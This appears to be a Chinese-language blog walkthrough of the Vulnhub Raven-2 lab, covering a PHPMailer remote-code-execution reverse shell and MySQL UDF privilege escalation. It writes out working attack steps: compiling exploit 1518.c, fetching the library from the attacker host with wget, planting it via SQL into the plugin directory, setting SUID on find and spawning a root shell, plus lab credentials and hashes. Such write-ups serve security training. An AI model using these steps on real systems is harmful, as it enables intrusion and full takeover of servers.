Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目三:Raven-2(服务利用,udf提权)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月5日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
`
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、使用步骤
1.端口发现
代码如下:
ifconfig //用来查看自己的IP
namp 192.168.247.0/24 -sP //用来扫描同网段所有存活主机,注意最后是0
这个IP是你ifconfig出来的IP
nmap -p- 192.168.247.134 //扫描开放端口,找服务
(服务越多,我们越应该兴奋,因为服务多代表漏洞越多,越好下手)
只开放了一个80端口,所以只能去看看,这是唯一的突破口
2.web突破
dirb http://192.169.247.130 ----爆破目录
爆破目录得到两个目录,看到第二个是wp的目录,基本得知这是一个已知cms,可以借助这个拿到shell,我们依次访问一下,首先是vender目录,这个地方wp是用来提权的,当然了按照正常的思路应该访问看一下,但是没有任何的版本信息提示,也没有登录的地方,所以才会将目光转向别处。
在path的子目录下找到了flag
3.服务利用
我野搜索了apache的漏洞,但是没有找到具体可用的,有一些exp只能爆出一个用户名这样子,所以,再找到了新的服务之后(phpmailer),就暂时搁置apache的探索
在version中发现了phPmailer的版本
搜索一下exp
远程代码执行,足够硬,编号40974,一会去kali下载下来,这先看一下这个描述:说这个EXP搞进去的后门地址会主动连接你,那就接着看一下用法
下载,payload中配置IP,监听端口,执行一个py文件
这么几段话对于精通八国语言的我来说小case啦~
gedit 40974.py --编辑py文件
目标改了,后门名字可以改可以不改,payload的ip改了,下面还有个路径改了,因为/var/www/html/是默认的路径
然后运行,监听设置的监听端口,访问contact.php生成后门文件,然后即可拿到shell
拿到了伪shell,不稳定,我们要生成一个稳定的shell
python -c 'import pty;pty.spawn("/bin/bash")' --生成稳定的shell
这就拿到了shell,然后进行进一步的信息收集,看看铭感目录虾米那有没有什么文件,一般的话有会有一个flag
find / -name flag* --直接搜索flag,
*是通配符,
代表只要是flag开头的都给我搜出来
三.udf提权
再提权之前想到之前扫目录的时候出来了一个wordpress的站点,我们也是知道这个没有登录框,也没有版本信息,就在shell里面对他进行信息收集
grep "password" -rn wp-config.php ---wp站点默认的配置文件存放的地方,搜搜密码啥的
发现了一个mysql的root用户,可以利用mysql内核提权
分为几种,这里使用udf,在使用之前我们先登陆一下mysql,要查看几个信息,看看能否利用
mysql -uroot -pR@v3nSecurity --登录
select version(); --查看版本
show databases; --查看库
use wordpress --使用库
show tables; --查看表
select * from wp_users; --查找表内内容
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 --获得用户
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.
要注意先要进到/var/www/目录底下,这里面才有信息
dpkg -l | grep mysql --查看历史安装包版本,就知道写入条件的判断依据了
1.看一下是否满足写入条件:
show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
2.查看插件目录:
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
3.查看能否远程登陆:
use mysql;
select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| root | 127.0.0.1 |
| root | ::1 |
| debian-sys-maint | localhost |
| root | localhost |
| root | raven |
+------------------+-----------+
5 rows in set (0.00 sec)
发现这里root用户不允许远程登陆,因此不能利用MSF提权。
谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf
searchsploit 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c/root/Desktop
编译exp
gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o rong.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
传递exp
开启python的传输服务
wget http://10.211.55.19:8081/dayu.so --靶机执行
show databases;
use mysql
select database();
4. 进入数据库创建数据表rong:
create table rong(line blob); --这里longblob根据大小来分配
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G
5. 插入数据文件:
insert into rong values(load_file('/tmp/rong.so'));
或
insert into rong values(load_file('/var/www/html/rong.so'));
rong表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
6. 新建存储函数:
select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so'; ---把这个rong.so导入到插件库中
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'rong.so';
7. 查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
8. 执行find命令
使用find执行 shell
touch rong
find rong -exec "/bin/sh" \;
或者:find rong -exec "id" \;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}
总结
1.服务利用
2.udf提权